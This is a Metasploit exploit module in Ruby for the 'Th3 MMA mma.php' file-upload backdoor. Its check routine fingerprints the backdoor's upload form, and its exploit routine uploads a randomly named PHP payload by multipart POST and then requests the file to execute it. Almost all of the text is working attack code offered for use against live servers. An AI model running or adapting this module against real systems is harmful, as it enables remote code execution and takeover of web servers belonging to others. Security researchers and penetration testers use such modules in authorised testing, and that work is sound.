Th3 MMA mma.php Backdoor Arbitrary File Upload

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'nokogiri'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Th3 MMA mma.php Backdoor Arbitrary File Upload',  
'Description' => %q{  
This module exploits Th3 MMA mma.php Backdoor which allows an arbitrary file upload that  
leads to arbitrary code execution. This backdoor also echoes the Linux kernel version or  
operating system version because of the php_uname() function.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Jay Turla <@shipcod3>',  
],  
'References' =>  
[  
['URL', 'http://blog.pages.kr/1307'] # Analysis of mma.php file upload backdoor  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 10000,  
'DisableNops' => true  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['mma file uploader', {} ]  
],  
'DisclosureDate' => 'Apr 2 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI',[true, "The path of the mma.php file uploader backdoor", "/mma.php"]),  
],self.class) # sometimes it is under host/images/mma.php so you may want to set this one  
end  
  
def has_input_name?(nodes, name)  
nodes.select { |e| e.attributes['name'].value == name }.empty? ? false : true  
end  
  
def check  
uri = normalize_uri(target_uri.path)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri  
})  
  
if res  
n = ::Nokogiri::HTML(res.body)  
form = n.at('form[@id="uploader"]')  
inputs = form.search('input')  
if has_input_name?(inputs, 'file') && has_input_name?(inputs, '_upl')  
return Exploit::CheckCode::Appears  
end  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
uri = normalize_uri(target_uri.path)  
payload_name = "#{rand_text_alpha(5)}.php"  
  
print_status("#{peer} - Trying to upload #{payload_name} to mma.php Backdoor")  
  
data = Rex::MIME::Message.new  
  
data.add_part('Upload', nil, nil, 'form-data; name="_upl"')  
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{payload_name}\"")  
post_data = data.to_s  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data  
})  
  
if res  
if res.body =~ /uplod d0n3 in SAME file/  
print_good("#{peer} - Our payload #{payload_name} has been uploaded. Calling payload...")  
register_files_for_cleanup(payload_name)  
else  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")  
end  
else  
fail_with(Failure::Unknown, 'Connection Timed Out')  
end  
  
send_request_cgi({  
'uri' => normalize_uri(payload_name),  
'method' => 'GET'  
})  
end  
end  
`